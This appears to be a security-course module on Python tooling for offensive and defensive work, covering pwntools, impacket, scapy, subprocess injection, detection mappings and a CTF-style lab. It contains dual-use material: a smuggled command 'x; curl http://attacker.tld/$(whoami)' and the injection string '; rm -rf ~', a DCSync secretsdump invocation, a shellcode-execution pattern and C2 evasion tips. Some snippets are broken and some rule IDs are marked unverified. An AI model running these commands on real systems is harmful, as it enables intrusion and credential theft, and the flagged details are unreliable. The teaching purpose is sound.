Skip to content

Python for Security

impacket, pwntools, scapy, frida-python, angr — every offensive and defensive tool you actually use is written in Python or has a Python wrapper. The language is the lingua franca of security work because the standard library has everything a CTF or engagement needs (sockets, struct, ctypes, multiprocessing), and the third-party stack covers everything else (SMB, NTLM, DNS, JWT, ASN.1). This module covers the libraries, idioms, and mistakes that matter when you write Python for security work — including the one bug (subprocess.run(cmd, shell=True)) that has bitten every red-team script ever shipped.

Python is a high-level, garbage-collected language with a C ABI and a stdlib that exposes raw sockets (AF_INET/SOCK_RAW), struct packing (<I little-endian unsigned int), and ctypes for arbitrary memory layout. The GIL serializes bytecode execution but releases on I/O, so socket-bound scanners do scale on threads; CPU-bound work needs multiprocessing.

┌────────────────────────────────────────────────────────────┐
│ Top of stack: offensive tooling │
│ pwntools, impacket, scapy, paramiko, asyncssh │
├────────────────────────────────────────────────────────────┤
│ Mid stack: protocol libraries │
│ requests, httpx, websockets, dnspython, pyasn1 │
├────────────────────────────────────────────────────────────┤
│ Stdlib: low-level building blocks │
│ socket, ssl, struct, ctypes, subprocess, asyncio │
├────────────────────────────────────────────────────────────┤
│ CPython runtime: C ABI, GIL, reference counting │
│ libpython → libc → kernel syscalls │
└────────────────────────────────────────────────────────────┘
  1. Sockets (stdlib socket) — direct access to the socket syscall.

    import socket, struct
    # raw TCP SYN with IPPROTO_TCP; needs CAP_NET_RAW or root
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    # construct TCP header: src_port(2) dst_port(2) seq(4) ack(4)
    # data_off/flags(2) window(2) csum(2) urgptr(2)
    tcp_hdr = struct.pack('!HHIIHHHH', 33333, 80, 1000, 0, 0x5002, 64240, 0, 0)

    ! = network byte order (big-endian). H = uint16, I = uint32. This is what scapy does internally for every IP()/TCP() packet.

  2. struct — protocol parsing. Format characters: B uint8, H uint16, I uint32, Q uint64, s char[N], x pad. Prefixes: < little-endian, > big-endian, ! network. For example, parsing a DNS header:

    id, flags, qd, an, ns, ar = struct.unpack('!HHHHHH', data[:12])
  3. subprocess — the dangerous one. Two execution models:

    • subprocess.run(['nmap', '-sS', host]) — argv list, no shell, no injection.
    • subprocess.run(f'nmap -sS {host}', shell=True) — /bin/sh -c — host can be ; rm -rf ~.

    Never use shell=True with unsanitized input. Ever.

  4. requests — the de facto HTTP client.

    import requests
    s = requests.Session()
    s.headers['User-Agent'] = 'lab-scanner/1.0'
    s.verify = True # default; do NOT disable
    # retries with exponential backoff via urllib3 Retry
    from urllib3.util.retry import Retry
    from requests.adapters import HTTPAdapter
    s.mount('https://', HTTPAdapter(max_retries=Retry(total=3, backoff_factor=0.5)))

    verify=False disables cert validation; only acceptable for lab tests, never in production code. Even then, suppress the warning: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning).

  5. pwntools — CTF binary exploitation toolkit.

    from pwn import *
    elf = ELF('./vuln')
    context.binary = elf
    io = process(elf.path) # local
    io = remote('challenge.ctf', 1337) # remote
    io.sendline(cyclic(200))
    io.recvuntil(b'Segfault at ')
    crash = int(io.recvline(), 16)
    offset = cyclic_find(crash) # exact offset to saved RIP

    cyclic(200) is aaaabaaacaaadaaeaa... — De Bruijn pattern, so the crash address uniquely identifies the offset.

  6. impacket — Windows protocol toolkit.

    from impacket.smbconnection import SMBConnection
    c = SMBConnection('10.0.0.5', '10.0.0.5')
    c.login('user', 'Pass123!', domain='LAB')
    for share in c.listShares():
    print(share['shi1_netname'][:-1])

    secretsdump.py, psexec.py, wmiexec.py, ntlmrelayx.py, smbexec.py, getTGT.py, ticketer.py, findDelegation.py — every offensive Windows engagement uses these scripts.

  7. scapy — packet crafting and parsing.

    from scapy.all import IP, TCP, sr1, send
    ans = sr1(IP(dst='10.0.0.1')/TCP(dport=80, flags='S'), timeout=2, verbose=0)
    if ans and ans.haslayer(TCP) and (ans[TCP].flags & 0x12 == 0x12):
    print('open') # SYN/ACK
  8. ctypes for shellcode execution (for understanding, not for malware):

    import ctypes, mmap
    buf = mmap.mmap(-1, 4096, prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)
    buf.write(b'\x90' * 100) # NOP sled
    ctypes.CDLL(None).libc.system(b'/bin/sh') # equivalent but legitimate

    Same pattern that shellcode loaders use; the mmap PROT_EXEC flag is what EDR hooks.

TechniqueLibraryDetection Difficulty
Argv-list subprocesssubprocess.run(['nmap', ...])Easy — argv is auditable
Shell-wrapped subprocesssubprocess.run(cmd, shell=True)Hard — input parsing is the bug
Inline shellcode via ctypesmmap(...PROT_EXEC); buf.write(sc); cast(buf, CFUNCTYPE(...))()Medium — EDR hooks mprotect/mmap
Impacket secretsdump.pyDCSync via DRSAPI-4 IDL_DRSGetNCChangesMedium — Windows Event 4662 with 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All)
pwntools remote() + cyclicBuffer overflow offset findingn/a — local exploit dev
scapy sniff(iface='eth0')Passive capture (needs CAP_NET_RAW)Easy — traffic visibility
asyncio port scanner65k ports in seconds, never blocksMedium — burst of SYNs triggers rate-based IDS
Terminal window
# Install the canonical security toolkit
pipx install pwntools
python3 -m pip install --user impacket scapy requests pycryptodome paramiko
# Run the impacket secret dumper against a remote SMB share (must have creds)
impacket-secretsdump LAB/user:Pass\!123@10.0.0.5
# Drop into an interactive scapy shell; pre-imports everything
scapy
>>> sniff(count=10, filter='tcp port 22', prn=lambda x: x.summary())
# Patch a process and inspect its maps with pwntools' gdb.attach
python3 -c 'from pwn import *; context.binary=ELF("./vuln"); io=process("./vuln"); gdb.attach(io, "break *main+40"); io.interactive()'
# Quick HTTP probe with retries and TLS verification
python3 -c '
import requests
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
s = requests.Session()
s.mount("https://", HTTPAdapter(max_retries=Retry(total=3, backoff_factor=0.5)))
r = s.get("https://example.com", timeout=10)
print(r.status_code, r.headers.get("server"), len(r.content))
'
# Spin up an HTTP server for exfil (catch all routes)
python3 -m http.server 8000 --bind 127.0.0.1
# Inspect a captured PCAP file with scapy
python3 -c '
from scapy.all import rdpcap, TCP
pkts = rdpcap("capture.pcap")
print(sum(1 for p in pkts if p.haslayer(TCP)), "TCP packets")
'

Python’s subprocess.run(cmd, shell=True) shows up in auditd rule -S execve -k exec as /bin/sh -c <cmd>. The argv to /bin/sh is logged verbatim; an EDR that records argv[2] catches the injected payload.

MITRE ATT&CK T1059.009 — Command and Scripting Interpreter: Cloud API (less common, but boto3-based Python is the tooling).

MITRE ATT&CK T1059 — Command and Scripting Interpreter (the umbrella that covers Python on the endpoint).

MITRE ATT&CK T1106 — Native API (ctypes calling kernel functions like VirtualAllocEx on Windows or mprotect on Linux is detectable as cross-language behavior).

MITRE ATT&CK T1218 — System Binary Proxy Execution — Python’s python.exe running import of a built-in binary (unzip, tarfile) to extract payloads.

MITRE ATT&CK T1003.006 — OS Credential Dumping: DCSync (impacket-secretsdump against a domain controller).

Wazuh rule 31103 / 920 — generic “command line shell injection” detection [verify].

Wazuh rule 60004 — Suspicious Python execution (if python is not in your allowlist) [verify — requires a custom decoder and a static allowlist of script names].

For network-side detection: impacket has a unique SMB signature (uses ntlmssp with a fixed NegotiateFlags bitmask, often 0xE20882, and a NULL server name on Windows). Suricata SID 2221017 [verify] — “ET POLICY Impacket SMB Negotiate Protocol”.

subprocess.run(..., shell=False) is not a free pass. If the argv list is ['sh', '-c', user_input], you have moved the injection point but not removed it. Defense: never pass user input as the first argument to sh -c.

Frozen PyInstaller binaries. Tools like pyinstaller --onefile bundle the Python interpreter and bytecode into a single ELF. AV that signatures python3.10 as a string will flag legitimate PyInstaller-packaged apps. Defense (attacker side): strip the pyi- prefix in the archive header. Defense (defender side): YARA on the PyInstaller bootloader bytes (MEI\x0c\x0b\x0a\x0b\x0e magic at offset 0).

sys.setrecursionlimit-based stack overflow to bypass CPython optimizations. Not a security primitive. Skip.

AES in pure Python is detectable. A Python implementation of AES is 1000× slower than pycryptodome’s Crypto.Cipher.AES (which uses OpenSSL’s aes-evp). Defenders see real AES as libcrypto.so calls in strace; a pure-Python implementation is detectable as “lots of CPU time in python without libcrypto calls” — useful for flagging “innocuous” C2 channels.

HTTP/JSON C2 with requests and a long polling interval. requests.Session() over TLS to cloudflare-fronted-domain.com is indistinguishable from a desktop app checking for updates — unless you also see the Authorization: Bearer header with a static token on every request. Defense (attacker): rotate tokens; use short JWTs. Defense (defender): alert on identical Bearer tokens across distinct source IPs.

TechniqueWhat it hidesHow to detect
PyInstaller one-fileSource codeYARA on bootloader magic; bytecode decompile via pycdc after carve
requests + TLS to CDNC2 trafficTLS SNI + JWT static token correlation
subprocess.run(argv_list)Shell-injection footprintauditd logs argv verbatim
mmap(PROT_EXEC) shellcodeMalicious bytecodeEDR hooks mprotect/VirtualProtect from non-image bases
Pure-Python AESCPU-only cryptoNo libcrypto.so in /proc/<pid>/maps

⚠️ What caught me: A custom scanner script I shipped used subprocess.run(f'host {target}', shell=False) — wait, no, it used shell=True with a f-string. A tester fed target = 'x; curl http://attacker.tld/$(whoami)'. The script ran host first, then curl with the result of whoami as a path. The whoami value was lab_user, so the request hit attacker.tld/lab_user. I saw that on the listening server and assumed the customer had been owned; it was actually my own scanner being owned. Lesson: shell=True with f-strings is the universal way to ship a webshell that accepts inputs from your bug bounty program.

VM: Ubuntu 22.04 with Python 3.10, python3-pwntools, python3-impacket, python3-scapy, python3-cryptography. A second VM running vulnserver.exe (Trey Corkran’s classic) on Wine, or Metasploitable2 as the target.

Objective:

  1. Write a 50-line async port scanner (asyncio + socket.setblocking(False)) that scans a /24 for SSH banners. Print open hosts sorted by IP.
  2. Use impacket’s SMBConnection to enumerate shares on the target VM; print IPC$, C$, and any custom shares with their remarks.
  3. Use pwntools against a deliberately vulnerable binary (vuln from pwn.college): connect, find the offset to saved RIP with cyclic, and submit a one-gadget ROP chain.
  4. Use scapy to send 5 TCP SYNs to port 80 of a local server and print the SYN/ACK or RST response. Verify with tcpdump -nni lo port 80 that the packets actually go out.

Expected flag format: flag{async_scanner_done_smb_shares:<count>_rop_offset:<int>_scapy_ok}.

Detection that should fire: auditd exec log shows the python3 scanner.py argv with the f-string target — confirm shell=False; Suricata logs the SYNs from scapy as ET SCAN Potential SSH Scan [verify] if rate > 5/sec; Windows Security Event 4624 LogonType=3 from impacket SMB login shows the source IP.

Conceptual: explain the difference between subprocess.run([...], shell=False) and subprocess.run(cmd, shell=True). What does shell=True actually invoke, and what are three concrete attacks against shell=True?

Technical: walk through what happens when Python’s socket.connect(('10.0.0.5', 80)) is called. Name every libc function invoked and the syscall number for connect on x86_64 Linux.

Scenario: you are given a 50-line Python script that reads a URL from argv[1], does requests.get(url, verify=False), and prints the response body. List every security issue and propose a corrected version.

What does pwntools cyclic(200) produce, and why is the De Bruijn sequence useful for finding buffer overflow offsets? What is the practical limit (alphabet size, subsequence length) and why does pwntools use 4-character subsequences?

Technical: explain how impacket-secretsdump performs DCSync. Name the exact DRSUAPI RPC method invoked and the access mask on the domain controller object that grants the caller the right to perform it.

→ F1 (Networking Fundamentals) · F6 (Bash & Shell Scripting) · F7 (PowerShell Fundamentals)